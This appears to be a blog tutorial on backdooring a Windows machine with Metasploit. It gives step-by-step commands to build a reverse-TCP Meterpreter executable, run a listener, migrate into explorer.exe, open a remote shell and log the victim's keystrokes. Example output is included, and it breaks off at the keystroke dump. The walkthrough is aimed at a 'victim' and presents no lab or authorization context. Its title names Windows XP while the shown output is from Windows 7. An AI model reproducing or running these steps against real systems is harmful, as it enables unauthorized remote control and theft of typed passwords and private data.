Backdooring a windowsxp using meterpreter

First of all, I would like to tell you about Meterpreter.
Meterpreter is the part of Metasploit Framework which is used in Post Exploitation Techniques.
You need to create payload to gain meterpreter shell which gives attacker a reverse connection to the
victim PC. And once attacker got the shell he/she can do very interesting things like: Capturing Keystrokes, Capturing Screenshots, Information about system, services, play with services etc.

Let's the Practical begin:

Required Material:

1. Backtrack (or any Linux destro with metasploit installed)
2. A creative mind.

Step 1: root@bt:/opt/metasploit3/msf3# .
/msfpayload windows/meterpreter/reverse_tcp LHOST=”your local         ip” LPORT=”any port you wish” x > /root/backdoor.exe


Your local IP is the one you noted earlier and for port you could select 4444.
(Everything has to be entered without quotes)

You should get something like this:

Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: LHOST=192.168.0.23 ,LPORT=4444
root@bt:/opt/metasploit3/msf3#


Also, now on your backtrack desktop, you would be seeing a backdoor.exe file.


After executing the backdoor.exe on your victim's computer follow these steps:
Now open the 1st shell window with msfconsole in it.
msf >
Type the following:

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.0.23
LHOST => 192.168.0.23
msf exploit(handler) > set LPORT 4444
LPORT => 4444


All the connections are done. You have already made an executable file which makes a reverse connection to you.
And now, you have set the meterpreter to listen to you on port 4444.
The last step you have to do now, is to type in “exploit” and press enter,
msf exploit(handler) > exploit



You would see a meterpreter prompt like this
meterpreter >
meterpreter > sessions -i

Type in ps to list the active processes
meterpreter > ps


Search for explorer.exe and migrate to the process
meterpreter > migrate 5716
[*] Migrating to 5716...
[*] Migration completed successfully.
meterpreter >


Type in the following:
meterpreter > use priv
Now, if you want to start the Keylogger activity on victim, just type keyscan_start


Now, if you want to go to the victim’s computer,
Jus type shell
meterpreter > shell
Process 5428 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>


You would now be having a command prompt,
Type in whoami, to see the computer’s name of victim :
C:\Windows\system32>whoami
whoami
win7-pc\win 7
C:\Windows\system32>



Let’s say the victim has typed in anything on his computer.
Just type exit, to return to meterpreter.
Now type in keyscan_dump, to see all the typed keystrokes :
meterpreter > keyscan_dump
Dumping captured keystroke

Posted in: Metasploit